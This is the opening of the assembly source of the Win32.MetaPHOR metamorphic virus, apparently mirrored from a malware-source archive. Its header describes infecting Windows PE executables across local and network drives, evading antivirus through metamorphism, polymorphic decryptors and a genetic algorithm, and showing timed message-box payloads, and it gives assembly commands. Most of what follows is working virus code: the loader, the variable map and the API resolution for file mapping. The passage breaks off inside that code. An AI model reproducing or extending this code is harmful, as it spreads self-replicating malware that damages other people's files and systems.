mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
13915 lines
620 KiB
NASM
13915 lines
620 KiB
NASM
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;; ---------------------- ;;
|
|
;; * Win32.MetaPHOR v1B * ;;
|
|
;; ---------------------- ;;
|
|
;; ;;
|
|
;; Metamorphic Permutating High-Obfuscating Reassembler ;;
|
|
;; ;;
|
|
;; Coded by The Mental Driller/29A ;;
|
|
;; ;;
|
|
;; ;;
|
|
;; I proudly present my very first metamorphic virus (in its version 1.1). ;;
|
|
;; ;;
|
|
;; This virus is only code. No tables, no indirect jumps, etc. etc. It ;;
|
|
;; doesn't uses the stack to construct strings, executable code or data: ;;
|
|
;; what I do is a reservation of 3'5 Mb of data (more or less) with ;;
|
|
;; VirtualAlloc and then use the decryptor to copy the decrypted virus there ;;
|
|
;; (or unencrypted, since it has a probability of 1/16 of being unencrypted, ;;
|
|
;; so the decryptor in that cases is in fact a copy routine). The reserved ;;
|
|
;; memory is organized in sections (as if it were a PE) where I do all the ;;
|
|
;; operations. VirtualAlloc will be retrieved by the decryptor if it's not ;;
|
|
;; imported by the host, and the host must import GetModuleHandleA/W and ;;
|
|
;; GetProcAddress to be infected. This functions will be used by the virus ;;
|
|
;; to get the needed APIs. ;;
|
|
;; ;;
|
|
;; The type of metamorphism followed is what I call the "accordion model": ;;
|
|
;; disassembly/depermutation -> shrinking -> permutation -> expansion -> ;;
|
|
;; -> reassembly, so the code can be bigger or smaller than the previous ;;
|
|
;; generation. ;;
|
|
;; ;;
|
|
;; The metamorphism in this virus is complete: even the result of the ;;
|
|
;; shrinking can't be used for detection, because is different in every ;;
|
|
;; generation. That's the point where I introduce a new concept: dimensions ;;
|
|
;; in recoding (I mean, code that only get shrinked on two or more ;;
|
|
;; generations, but not in the immediate following; this would be the ;;
|
|
;; "third" dimension). This makes the disassembly to have always a different ;;
|
|
;; shape from generation to generation, but, when stabilized, never growing ;;
|
|
;; uncontrolablely. ;;
|
|
;; ;;
|
|
;; I have added a genetic algorithm in certain parts of the code to make it ;;
|
|
;; evolve to the best shape (the one that evades more detections, the action ;;
|
|
;; more stealthy, etc. etc.). It's a simple algorithm based on weights, so ;;
|
|
;; don't expect artificial intelligence :) (well, maybe in the future :P). ;;
|
|
;; ;;
|
|
;; I tried to comment the code as cleanly as possible, but well... :) ;;
|
|
;; ;;
|
|
;; If the code isn't optimized (in fact, it's NOT optimized), it's because: ;;
|
|
;; ;;
|
|
;; 1) It's more clear to see the code that the internal engine will deal ;;
|
|
;; with (for example, many times I use SUB ECX,1 instead of DEC ECX, ;;
|
|
;; although the disassembler can deal with both opcodes). ;;
|
|
;; 2) What's the point for optimizing the code when in next generation it ;;
|
|
;; will be completely unoptimized/garbled? :) ;;
|
|
;; 3) The obfuscation in next generations is bigger (MUCH bigger). ;;
|
|
;; ;;
|
|
;; ;;
|
|
;; General sheet of characteristics: ;;
|
|
;; ;;
|
|
;; Name of the virus.............: MetaPHOR v1.0 ;;
|
|
;; Author........................: The Mental Driller / 29A ;;
|
|
;; Size..........................: On 1st generation: 32828 bytes ;;
|
|
;; On next ones: variable, but not less ;;
|
|
;; than 64 Kb ;;
|
|
;; Targets.......................: Win32 PE EXEs, supporting three types ;;
|
|
;; of infection: mid-infection (when ;;
|
|
;; .reloc is present), at last section ;;
|
|
;; but using the padding space between ;;
|
|
;; sections to store the decrytor/mover, ;;
|
|
;; or all at last section. ;;
|
|
;; It infects EXEs with a 50% of prob. in ;;
|
|
;; current directory and going up the ;;
|
|
;; directory three by three levels. It ;;
|
|
;; also retrieves the drive strings on ;;
|
|
;; the system and makes the same if they ;;
|
|
;; are fixed or network drives. ;;
|
|
;; It uses EPO patching ExitProcess. ;;
|
|
;; Stealth action................: It doesn't enter in directories that ;;
|
|
;; begin with 'W' (avoiding the windows ;;
|
|
;; directory) and doesn't infect files ;;
|
|
;; with a 'V' in the name or beginning ;;
|
|
;; with the letters 'PA', 'F-', 'SC', ;;
|
|
;; 'DR' or 'NO'. ;;
|
|
;; Genetic algorithm in the selection of ;;
|
|
;; the infection methods, the creation of ;;
|
|
;; of the decryptor and some more things ;;
|
|
;; to make it more resistant or more ;;
|
|
;; difficult to detect due to "evolution".;;
|
|
;; Encrypted.....................: Sometimes not. ;;
|
|
;; Polymorphic...................: Yes ;;
|
|
;; Metamorphic...................: Yes ;;
|
|
;; Payloads......................: 1) A message box on 17h March, June, ;;
|
|
;; September and December with a ;;
|
|
;; metamorphic message :). ;;
|
|
;; 2) On 14h May and on hebrew systems it ;;
|
|
;; displays a messagebox with the text: ;;
|
|
;; "Free Palestine!" ;;
|
|
;; Anti-debugging................: Implicit ;;
|
|
;; Release history...............: ;;
|
|
;; v1.0: 11-02-2002 (I just finished commenting the source code ;;
|
|
;; and correcting the bugs I found doing that). ;;
|
|
;; v1.1: 14-02-2002 ;;
|
|
;; ;;
|
|
;; ;;
|
|
;; To do in next versions: ;;
|
|
;; ;;
|
|
;; 1) ELF infection: I only have to add APIs and call one or another ;;
|
|
;; depending on the operating system, and add the ELF infection algorithm. ;;
|
|
;; 2) Reassembly for different processors: IA64, Alpha, PowerPC, etc. I only ;;
|
|
;; have to code a new disassembler/reassembler, since for every internal ;;
|
|
;; operation I use a self-defined pseudo-assembler with its own opcodes. ;;
|
|
;; 3) Plug-in injector ;;
|
|
;; 4) More things (of course!! :). ;;
|
|
;; ;;
|
|
;; ;;
|
|
;; My thanks comes to: ;;
|
|
;; 29A, of course. ;;
|
|
;; Vecna & Z0MBiE for being pioneers in the field of metamorphism. I thank ;;
|
|
;; Vecna his interest by this virus and his suggestions. Of course, I ;;
|
|
;; never took them in account :P (acaso te dije como tenias que hacer ;;
|
|
;; el Lexo32, boludin asqueroso??? :P :P :P :P ;D) ;;
|
|
;; Eden Kirin, the author of ConTEXT (editor for programmers). It would be ;;
|
|
;; a hell to make a source like this one with EDIT :). ;;
|
|
;; The opressed people in the world. ;;
|
|
;; ;;
|
|
;; ;;
|
|
;; Also big thanks to Trent Reznor and NIN by their music, which inspired ;;
|
|
;; me greatly while coding this, specially the Halo 14 (commonly known as ;;
|
|
;; "The Fragile"). From the lyrics of "Somewhat damaged", a quote that ;;
|
|
;; resumes quite well the feeling of this code: ;;
|
|
;; ;;
|
|
;; "how could I ever think it's funny how ;;
|
|
;; everything that swore it wouldn't change is different now..." ;;
|
|
;; ;;
|
|
;; Well, in the song it doesn't have that meaning, but it does when you ;;
|
|
;; quote it alone heading this code :). ;;
|
|
;; ;;
|
|
;; And a big "FUCK YOU" to fascists, whatever the flag or religion they use ;;
|
|
;; to hide themselves behind, the country they live/represent and the moral ;;
|
|
;; reasons they say to justify their actions (for both attack and revenge): ;;
|
|
;; all them have the same inferior mind that makes them to think like ;;
|
|
;; animals. ;;
|
|
;; ;;
|
|
;; ;;
|
|
;; OK, so here's the proggy. Enjoy it as much as I enjoyed doing it. ;;
|
|
;; ;;
|
|
;; To assemble: ;;
|
|
;; TASM32 /m29A /ml MetaPHOR.asm ;;
|
|
;; TLINK32 -Tpe -aa -x MetaPHOR.obj,,,kernel32.lib ;;
|
|
;; ;;
|
|
;; No need of making PEWRSEC! ;;
|
|
;; ;;
|
|
;; ;;
|
|
;; Quick reference (keyword search): ;;
|
|
;; ;;
|
|
;; Variable declaration........................: Key_!VarDeclr ;;
|
|
;; Beginning of virus..........................: Key_!VirusStart ;;
|
|
;; Disassembler................................: Key_!Disassembler ;;
|
|
;; Shrinker....................................: Key_!Shrinker ;;
|
|
;; Variable identificator......................: Key_!VarIdent ;;
|
|
;; Permutator..................................: Key_!Permutator ;;
|
|
;; Expander....................................: Key_!Xpander ;;
|
|
;; Reassembler.................................: Key_!Assembler ;;
|
|
;; Infection code..............................: Key_!Infector ;;
|
|
;; Decryptor maker.............................: Key_!MakePoly ;;
|
|
;; ;;
|
|
;; ;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
.386p
|
|
.model flat
|
|
locals
|
|
|
|
.code
|
|
ret ; All code in DATA section. TASM allow this and we
|
|
.data ; don't need to activate the write flag after assembling
|
|
; the code.
|
|
|
|
AddressToFree dd 0
|
|
|
|
extrn ExitProcess:PROC
|
|
extrn VirtualAlloc:PROC
|
|
extrn VirtualFree:PROC
|
|
extrn GetModuleHandleA:PROC
|
|
extrn GetProcAddress:PROC
|
|
extrn MessageBoxA:PROC ; First generation imports
|
|
|
|
|
|
;; This code (PreMain) only exists at first generation.
|
|
;; PreMain is a loader of the virus in the same way an infected host will
|
|
;; load it.
|
|
PreMain proc
|
|
push 4
|
|
push 1000h
|
|
push 340000h ; Reserve 340000h bytes (~ 3.4Mb)
|
|
push 0
|
|
call VirtualAlloc
|
|
or eax, eax
|
|
jz @@Error
|
|
mov ebp, eax ; Set delta of reserved memory
|
|
|
|
mov [AddressToFree], eax
|
|
mov ebx, eax
|
|
mov esi, offset Main
|
|
mov edi, eax
|
|
mov ecx, offset EndOfCode
|
|
sub ecx, offset Main
|
|
rep movsb ; Copy virus
|
|
|
|
push __DISASM2_SECTION
|
|
push __DATA_SECTION
|
|
push __BUFFERS_SECTION
|
|
push __DISASM_SECTION
|
|
push __CODE_SECTION ; Push section addresses
|
|
mov eax, offset GetProcAddress
|
|
mov eax, [eax+2]
|
|
push eax ; Push needed APIs
|
|
mov eax, offset GetModuleHandleA
|
|
mov eax, [eax+2]
|
|
push eax
|
|
push 5*2 ; Bit 0=0: 'A', 1:'W' for GetModuleHandle
|
|
call ebx ; Call MetaPHOR!
|
|
|
|
push 0C000h
|
|
push 0
|
|
push dword ptr [AddressToFree]
|
|
call VirtualFree ; This isn't needed at all, since where
|
|
; our process is destroyed all the virtual memory
|
|
; allocated by it is deallocated automatically.
|
|
@@Error:
|
|
push 0
|
|
call ExitProcess
|
|
PreMain endp
|
|
|
|
;; Now we are executing in the reserved memory
|
|
|
|
;;
|
|
;; ATTENTION: LEAs loading offsets of variables are problematic (due to the
|
|
;; variable identificator) so, in the cases like string constructors and
|
|
;; getting info from FindFirst and FindNext the operations will be performed
|
|
;; directly into memory sections, to avoid them getting marked as variables.
|
|
|
|
;; In the entrance, the polymorphic loader/decryptor must pass the next data:
|
|
;;; DeltaReg --> Initialized (in this case, EBP)
|
|
;;;
|
|
;;; In reverse-push order (C-like):
|
|
;;; * (Number of register used for Delta SHL 1) AND (A/W flag for
|
|
;; GetModuleHandleA/W)
|
|
;;; * Address to GetModuleHandle in import table
|
|
;;; * Address to GetProcAddress in import table
|
|
;;; * Offset of CODE_SECTION
|
|
;;; * Offset of DISASM_SECTION
|
|
;;; * Offset of BUFFERS_SECTION
|
|
;;; * Offset of DATA_SECTION
|
|
;;; * Offset of DISASM2_SECTION
|
|
;;;
|
|
;;; All data passed is local to the engine, I mean, it can be modified (and
|
|
;;; in fact it will be modified) during the reassembly. In this way we don't
|
|
;;; have even the variables in a fixed delta location, although even keeping
|
|
;;; fixed section offsets the variables are relocated.
|
|
|
|
;;
|
|
;;
|
|
|
|
;; KEYWORD: Key_!VarDeclr
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;;************************************************************************;;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;
|
|
;; Memory addresses. The variables are internal offsets into the data section,
|
|
;; so they are coded in this way. As you can see, all them are EQUs.
|
|
;;
|
|
;; There are also some equates to make easier the programming, although all
|
|
;; the values here are only valid on first generation, due to the fact that
|
|
;; they'll recalculated and randomized.
|
|
;;
|
|
__CODE_SECTION EQU 000000h
|
|
__DISASM_SECTION EQU 100000h
|
|
__BUFFERS_SECTION EQU 080000h
|
|
__LABEL_SECTION EQU __BUFFERS_SECTION + 00000h
|
|
__VARIABLE_SECTION EQU __BUFFERS_SECTION + 10000h
|
|
__BUFFER1_SECTION EQU __BUFFERS_SECTION + 20000h
|
|
__BUFFER2_SECTION EQU __BUFFERS_SECTION + 30000h
|
|
__VAR_MARKS_SECTION EQU __BUFFERS_SECTION + 40000h
|
|
__DATA_SECTION EQU 0E0000h
|
|
__DISASM2_SECTION EQU 200000h
|
|
|
|
NumberOfLabels EQU __DATA_SECTION + 0000h
|
|
NumberOfInstructions EQU __DATA_SECTION + 0008h
|
|
InstructionTable EQU __DATA_SECTION + 0010h
|
|
LabelTable EQU __DATA_SECTION + 0018h
|
|
FutureLabelTable EQU __DATA_SECTION + 0020h
|
|
PathMarksTable EQU __DATA_SECTION + 0028h
|
|
NumberOfLabelsPost EQU __DATA_SECTION + 0030h
|
|
AddressOfLastInstruction EQU __DATA_SECTION + 0038h
|
|
VariableTable EQU __DATA_SECTION + 0040h
|
|
NumberOfVariables EQU __DATA_SECTION + 0048h
|
|
FramesTable EQU __DATA_SECTION + 0050h
|
|
PermutationResult EQU __DATA_SECTION + 0058h
|
|
JumpsTable EQU __DATA_SECTION + 0060h
|
|
AddressOfLastFrame EQU __DATA_SECTION + 0068h
|
|
PositionOfFirstInstruction EQU __DATA_SECTION + 0070h
|
|
MODValue EQU __DATA_SECTION + 0078h
|
|
NumberOfJumps EQU __DATA_SECTION + 0080h
|
|
RndSeed1 EQU __DATA_SECTION + 0088h
|
|
RndSeed2 EQU __DATA_SECTION + 0090h
|
|
ExpansionResult EQU __DATA_SECTION + 0098h
|
|
Register8Bits EQU __DATA_SECTION + 00A0h
|
|
Xp_Register0 EQU __DATA_SECTION + 00A8h
|
|
Xp_Register1 EQU __DATA_SECTION + 00B0h
|
|
Xp_Register2 EQU __DATA_SECTION + 00B8h
|
|
Xp_Register3 EQU __DATA_SECTION + 00C0h
|
|
Xp_Register4 EQU __DATA_SECTION + 00C8h
|
|
Xp_Register5 EQU __DATA_SECTION + 00D0h
|
|
Xp_Register6 EQU __DATA_SECTION + 00D8h
|
|
Xp_Register7 EQU __DATA_SECTION + 00E0h
|
|
DeltaRegister EQU __DATA_SECTION + 00E8h
|
|
Xp_8Bits EQU __DATA_SECTION + 00F0h
|
|
Xp_Operation EQU __DATA_SECTION + 00F8h
|
|
Xp_Register EQU __DATA_SECTION + 0100h
|
|
Xp_Mem_Index1 EQU __DATA_SECTION + 0108h
|
|
Xp_Mem_Index2 EQU __DATA_SECTION + 0110h
|
|
Xp_Mem_Addition EQU __DATA_SECTION + 0118h
|
|
Xp_Immediate EQU __DATA_SECTION + 0120h
|
|
Xp_SrcRegister EQU __DATA_SECTION + 0128h
|
|
Xp_FlagRegOrMem EQU __DATA_SECTION + 0130h
|
|
Xp_RecurseLevel EQU __DATA_SECTION + 0138h
|
|
Xp_LEAAdditionFlag EQU __DATA_SECTION + 0140h
|
|
VarMarksTable EQU __DATA_SECTION + 0148h
|
|
_BUFFERS_SECTION EQU __DATA_SECTION + 0150h
|
|
_CODE_SECTION EQU __DATA_SECTION + 0158h
|
|
_DISASM_SECTION EQU __DATA_SECTION + 0160h
|
|
_LABEL_SECTION EQU __DATA_SECTION + 0168h
|
|
_VARIABLE_SECTION EQU __DATA_SECTION + 0170h
|
|
_BUFFER1_SECTION EQU __DATA_SECTION + 0178h
|
|
_BUFFER2_SECTION EQU __DATA_SECTION + 0180h
|
|
_VAR_MARKS_SECTION EQU __DATA_SECTION + 0188h
|
|
_DATA_SECTION EQU __DATA_SECTION + 0190h
|
|
_DISASM2_SECTION EQU __DATA_SECTION + 0198h
|
|
New_CODE_SECTION EQU __DATA_SECTION + 01A0h
|
|
New_DISASM_SECTION EQU __DATA_SECTION + 01A8h
|
|
New_BUFFERS_SECTION EQU __DATA_SECTION + 01B0h
|
|
; New_LABEL_SECTION EQU __DATA_SECTION + 01B0h
|
|
; New_VARIABLE_SECTION EQU __DATA_SECTION + 01B8h
|
|
; New_BUFFER1_SECTION EQU __DATA_SECTION + 01C0h
|
|
; New_BUFFER2_SECTION EQU __DATA_SECTION + 01C8h
|
|
; New_VAR_MARKS_SECTION EQU __DATA_SECTION + 01D0h
|
|
New_DATA_SECTION EQU __DATA_SECTION + 01D8h
|
|
New_DISASM2_SECTION EQU __DATA_SECTION + 01E0h
|
|
RVA_GetModuleHandle EQU __DATA_SECTION + 01E8h
|
|
RVA_GetProcAddress EQU __DATA_SECTION + 01F0h
|
|
FlagAorW EQU __DATA_SECTION + 01F8h
|
|
ReturnValue EQU __DATA_SECTION + 0200h
|
|
hKernel EQU __DATA_SECTION + 0208h
|
|
hUser32 EQU __DATA_SECTION + 0210h
|
|
RVA_CreateFileA EQU __DATA_SECTION + 0218h
|
|
RVA_CreateFileMappingA EQU __DATA_SECTION + 0220h
|
|
RVA_MapViewOfFile EQU __DATA_SECTION + 0228h
|
|
RVA_UnmapViewOfFile EQU __DATA_SECTION + 0230h
|
|
RVA_GetFileSize EQU __DATA_SECTION + 0238h
|
|
RVA_GetFileAttributesA EQU __DATA_SECTION + 0240h
|
|
RVA_SetFileAttributesA EQU __DATA_SECTION + 0248h
|
|
RVA_SetFilePointer EQU __DATA_SECTION + 0250h
|
|
RVA_SetFileTime EQU __DATA_SECTION + 0258h
|
|
RVA_SetEndOfFile EQU __DATA_SECTION + 0260h
|
|
RVA_FindFirstFileA EQU __DATA_SECTION + 0268h
|
|
RVA_FindNextFileA EQU __DATA_SECTION + 0270h
|
|
RVA_FindClose EQU __DATA_SECTION + 0278h
|
|
RVA_CloseHandle EQU __DATA_SECTION + 0280h
|
|
RVA_MessageBoxA EQU __DATA_SECTION + 0288h
|
|
NewLabelTable EQU __DATA_SECTION + 0290h
|
|
Asm_ByteToSort EQU __DATA_SECTION + 0298h
|
|
JumpRelocationTable EQU __DATA_SECTION + 02A0h
|
|
NumberOfJumpRelocations EQU __DATA_SECTION + 02A8h
|
|
Permut_LastInstruction EQU __DATA_SECTION + 02B0h
|
|
TranslatedDeltaRegister EQU __DATA_SECTION + 02B8h
|
|
hFile EQU __DATA_SECTION + 02C0h
|
|
FileSize EQU __DATA_SECTION + 02C8h
|
|
OriginalFileSize EQU __DATA_SECTION + 02D0h
|
|
hMapping EQU __DATA_SECTION + 02D8h
|
|
MappingAddress EQU __DATA_SECTION + 02E0h
|
|
HeaderAddress EQU __DATA_SECTION + 02E8h
|
|
StartOfSectionHeaders EQU __DATA_SECTION + 02F0h
|
|
RelocHeader EQU __DATA_SECTION + 02F8h
|
|
TextHeader EQU __DATA_SECTION + 0300h
|
|
DataHeader EQU __DATA_SECTION + 0308h
|
|
RVA_TextHole EQU __DATA_SECTION + 0310h
|
|
Phys_TextHole EQU __DATA_SECTION + 0318h
|
|
TextHoleSize EQU __DATA_SECTION + 0320h
|
|
RVA_DataHole EQU __DATA_SECTION + 0328h
|
|
Phys_DataHole EQU __DATA_SECTION + 0330h
|
|
MakingFirstHole EQU __DATA_SECTION + 0338h
|
|
ExitProcessAddress EQU __DATA_SECTION + 0340h
|
|
GetModuleHandleAddress EQU __DATA_SECTION + 0348h
|
|
GetProcAddressAddress EQU __DATA_SECTION + 0350h
|
|
VirtualAllocAddress EQU __DATA_SECTION + 0358h
|
|
GetModuleHandleMode EQU __DATA_SECTION + 0360h
|
|
VirtualPositionOfVar EQU __DATA_SECTION + 0368h
|
|
PhysicalPositionOfVar EQU __DATA_SECTION + 0370h
|
|
Kernel32Imports EQU __DATA_SECTION + 0378h
|
|
hFindFile EQU __DATA_SECTION + 0380h
|
|
Addr_FilePath EQU __DATA_SECTION + 0388h
|
|
FileAttributes EQU __DATA_SECTION + 0390h
|
|
SizeOfNewCode EQU __DATA_SECTION + 0398h
|
|
FindFileData EQU __DATA_SECTION + 03A0h
|
|
OtherBuffers EQU __DATA_SECTION + 03A8h
|
|
RoundedSizeOfNewCode EQU __DATA_SECTION + 03B0h
|
|
NewAssembledCode EQU __DATA_SECTION + 03B8h
|
|
NumberOfUndoActions EQU __DATA_SECTION + 03C0h
|
|
LastHeader EQU __DATA_SECTION + 03C8h
|
|
MaxSizeOfDecryptor EQU __DATA_SECTION + 03D0h
|
|
CreatingADecryptor EQU __DATA_SECTION + 03D8h
|
|
DecryptorPseudoCode EQU __DATA_SECTION + 03E0h
|
|
AssembledDecryptor EQU __DATA_SECTION + 03E8h
|
|
Decryptor_DATA_SECTION EQU __DATA_SECTION + 03F0h
|
|
SizeOfExpansion EQU __DATA_SECTION + 03F8h
|
|
SizeOfDecryptor EQU __DATA_SECTION + 0400h
|
|
TypeOfEncryption EQU __DATA_SECTION + 0408h
|
|
EncryptionKey EQU __DATA_SECTION + 0410h
|
|
IndexValue EQU __DATA_SECTION + 0418h
|
|
IndexRegister EQU __DATA_SECTION + 0420h
|
|
BufferRegister EQU __DATA_SECTION + 0428h
|
|
CounterRegister EQU __DATA_SECTION + 0430h
|
|
BufferValue EQU __DATA_SECTION + 0438h
|
|
CounterValue EQU __DATA_SECTION + 0440h
|
|
Poly_FirstPartOfFunction EQU __DATA_SECTION + 0448h
|
|
Poly_SecondPartOfFunction EQU __DATA_SECTION + 0450h
|
|
Poly_ThirdPartOfFunction EQU __DATA_SECTION + 0458h
|
|
AdditionToBuffer EQU __DATA_SECTION + 0460h
|
|
Poly_Jump_ErrorInVirtualAlloc EQU __DATA_SECTION+0468h
|
|
;Index2Register EQU __DATA_SECTION + 0470h
|
|
Poly_LoopLabel EQU __DATA_SECTION + 0478h
|
|
RVA_GetSystemTime EQU __DATA_SECTION + 0480h
|
|
RVA_GetTickCount EQU __DATA_SECTION + 0488h
|
|
RVA_GetDriveTypeA EQU __DATA_SECTION + 0490h
|
|
RVA_GetLogicalDriveStringsA EQU __DATA_SECTION + 0498h
|
|
RVA_SetCurrentDirectoryA EQU __DATA_SECTION + 04A0h
|
|
StartOfEncryptedData EQU __DATA_SECTION + 04A8h
|
|
SizeOfNewCodeP2 EQU __DATA_SECTION + 04B0h
|
|
Poly_InitialValue EQU __DATA_SECTION + 04B8h
|
|
Poly_Addition EQU __DATA_SECTION + 04C0h
|
|
Poly_ExcessJumpInstruction EQU __DATA_SECTION + 04C8h
|
|
DirectoryDeepness EQU __DATA_SECTION + 04D0h
|
|
RVA_GetSystemDefaultLCID EQU __DATA_SECTION + 04D8h
|
|
Poly_JumpRandomExecution EQU __DATA_SECTION + 04E0h
|
|
Weight_X000_3 EQU __DATA_SECTION + 04E8h
|
|
Weight_X004_7 EQU __DATA_SECTION + 04F0h
|
|
Weight_X008_11 EQU __DATA_SECTION + 04F8h
|
|
Weight_X012_15 EQU __DATA_SECTION + 0500h
|
|
Weight_X016_19 EQU __DATA_SECTION + 0508h
|
|
Weight_X020_23 EQU __DATA_SECTION + 0510h
|
|
|
|
;;
|
|
;;
|
|
;; End of variables
|
|
;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
|
|
|
|
;; KEYWORD: Key_!VirusStart
|
|
|
|
Main proc
|
|
; EBP = Delta offset
|
|
pop ebx ; Return address
|
|
|
|
pop eax
|
|
mov ecx, eax
|
|
and eax, 1
|
|
mov [ebp+FlagAorW], eax ; Get if GetModuleHandle is A or W
|
|
and ecx, 0FFFFFFFEh
|
|
shr ecx, 1
|
|
mov [ebp+DeltaRegister], ecx ; Get the delta register nr.
|
|
|
|
pop eax
|
|
mov eax, [eax]
|
|
mov [ebp+RVA_GetModuleHandle], eax
|
|
pop eax
|
|
mov eax, [eax]
|
|
mov [ebp+RVA_GetProcAddress], eax
|
|
pop eax
|
|
and eax, 03FFFFFh ; Eliminate the two highest bits
|
|
mov [ebp+_CODE_SECTION], eax
|
|
pop eax
|
|
and eax, 03FFFFFh ; "
|
|
mov [ebp+_DISASM_SECTION], eax
|
|
pop eax
|
|
and eax, 03FFFFFh ; "
|
|
mov [ebp+_BUFFERS_SECTION], eax
|
|
|
|
mov [ebp+_LABEL_SECTION], eax ; Construct the other
|
|
add eax, 10000h ; section addresses
|
|
mov [ebp+_VARIABLE_SECTION], eax
|
|
add eax, 10000h
|
|
mov [ebp+_BUFFER1_SECTION], eax
|
|
add eax, 10000h
|
|
mov [ebp+_BUFFER2_SECTION], eax
|
|
add eax, 10000h
|
|
mov [ebp+_VAR_MARKS_SECTION], eax
|
|
|
|
pop eax
|
|
and eax, 03FFFFFh
|
|
mov [ebp+_DATA_SECTION], eax
|
|
pop eax
|
|
and eax, 03FFFFFh
|
|
mov [ebp+_DISASM2_SECTION], eax
|
|
push ebx ; Restore return value
|
|
|
|
|
|
;; Let's set the weights for the genetic algorithm. These are code structures
|
|
;; recognized by the shrinker.
|
|
;; The initial values of the weights are not arbitrary: they are the initial
|
|
;; values that simulate the random behaviour that was before the addition of
|
|
;; this type of algorithm.
|
|
;; These code structures are shrinked as
|
|
;; SET_WEIGHT [ebp+Weight_X000_3],0,EAX,ECX
|
|
;; SET_WEIGHT [ebp+Weight_X004_7],1,EAX,ECX
|
|
;; and so on.
|
|
push eax
|
|
mov eax, 0
|
|
mov ecx, 10808080h ; Weights 3,2,1 and 0
|
|
mov [ebp+Weight_X000_3], ecx
|
|
pop eax
|
|
|
|
|
|
push eax
|
|
mov eax, 1
|
|
mov ecx, 10808010h ; Weights 7,6,5,4
|
|
mov [ebp+Weight_X004_7], ecx
|
|
pop eax
|
|
|
|
push eax
|
|
mov eax, 2
|
|
mov ecx, 80808055h ; Weights 11,10,9,8
|
|
mov [ebp+Weight_X008_11], ecx
|
|
pop eax
|
|
|
|
push eax
|
|
mov eax, 3
|
|
mov ecx, 80408080h ; Weights 15,14,13,12
|
|
mov [ebp+Weight_X012_15], ecx
|
|
pop eax
|
|
|
|
push eax
|
|
mov eax, 4
|
|
mov ecx, 55404040h ; Weights 19,18,17,16
|
|
mov [ebp+Weight_X016_19], ecx
|
|
pop eax
|
|
|
|
push eax
|
|
mov eax, 5
|
|
mov ecx, 0F0808080h ; Weights 23,22,21,20
|
|
mov [ebp+Weight_X020_23], ecx
|
|
pop eax
|
|
|
|
;; Let's get the addresses of the APIs that we are going to use:
|
|
mov edx, [ebp+_BUFFER1_SECTION]
|
|
add edx, ebp
|
|
|
|
push eax
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
|
|
mov eax, 'nrek'
|
|
mov [edx], eax
|
|
mov eax, '23le'
|
|
mov [edx+4], eax
|
|
mov eax, 'lld.'
|
|
mov [edx+8], eax
|
|
xor eax, eax
|
|
mov [edx+0Ch], eax ; Get the address of KERNEL32.DLL
|
|
call APICall_GetModuleHandle
|
|
pop edx
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax ; Get the handle. If 0, we exit
|
|
jz @@Error
|
|
mov [ebp+hKernel], eax
|
|
|
|
push eax
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
|
|
mov eax, 'resu'
|
|
mov [edx], eax
|
|
mov eax, 'd.23'
|
|
mov [edx+4], eax
|
|
mov eax, 'll'
|
|
mov [edx+8], eax ; Get the address of USER32.DLL
|
|
call APICall_GetModuleHandle
|
|
pop edx
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
|
|
mov eax, [ebp+ReturnValue] ; It doesn't matter if we
|
|
mov [ebp+hUser32], eax ; failed: it's used only to
|
|
; get MessageBoxA for the
|
|
; payload
|
|
|
|
mov edx, [ebp+_BUFFER1_SECTION]
|
|
add edx, ebp
|
|
mov edi, [ebp+hKernel] ; Place to construct the addresses
|
|
; names
|
|
|
|
mov eax, 'aerC'
|
|
mov [edx], eax
|
|
mov eax, 'iFet'
|
|
mov [edx+4], eax
|
|
mov eax, 'Ael'
|
|
mov [edx+8], eax
|
|
call GetFunction ; Get CreateFileA
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_CreateFileA], eax
|
|
|
|
mov eax, 'ppaM'
|
|
mov [edx+0Ah], eax
|
|
mov eax, 'Agni'
|
|
mov [edx+0Eh], eax
|
|
xor eax, eax
|
|
mov [edx+12h], eax
|
|
call GetFunction ; Get CreateFileMappingA
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_CreateFileMappingA], eax
|
|
|
|
add edx, 2
|
|
mov eax, 'VpaM'
|
|
mov [edx], eax
|
|
mov eax, 'Owei'
|
|
mov [edx+4], eax
|
|
mov eax, 'liFf'
|
|
mov [edx+8], eax
|
|
mov eax, 'e'
|
|
mov [edx+0Ch], eax
|
|
call GetFunction ; Get MapViewOfFile
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_MapViewOfFile], eax
|
|
|
|
sub edx, 2
|
|
mov eax, 'amnU'
|
|
mov [edx], eax
|
|
call GetFunction ; Get UnmapViewOfFile
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_UnmapViewOfFile], eax
|
|
|
|
mov eax, 'SteG'
|
|
mov [edx], eax
|
|
mov eax, 'etsy'
|
|
mov [edx+4], eax
|
|
mov eax, 'miTm'
|
|
mov [edx+8], eax
|
|
mov eax, 'e'
|
|
mov [edx+0Ch], eax
|
|
call GetFunction ; Get GetSystemTime
|
|
or eax, eax
|
|
jz @@Error
|
|
mov [ebp+RVA_GetSystemTime], eax
|
|
|
|
mov eax, 'virD'
|
|
mov [edx+3], eax
|
|
mov eax, 'pyTe'
|
|
mov [edx+7], eax
|
|
mov eax, 'Ae'
|
|
mov [edx+0Bh], eax
|
|
call GetFunction ; Get GetDriveTypeA
|
|
or eax, eax
|
|
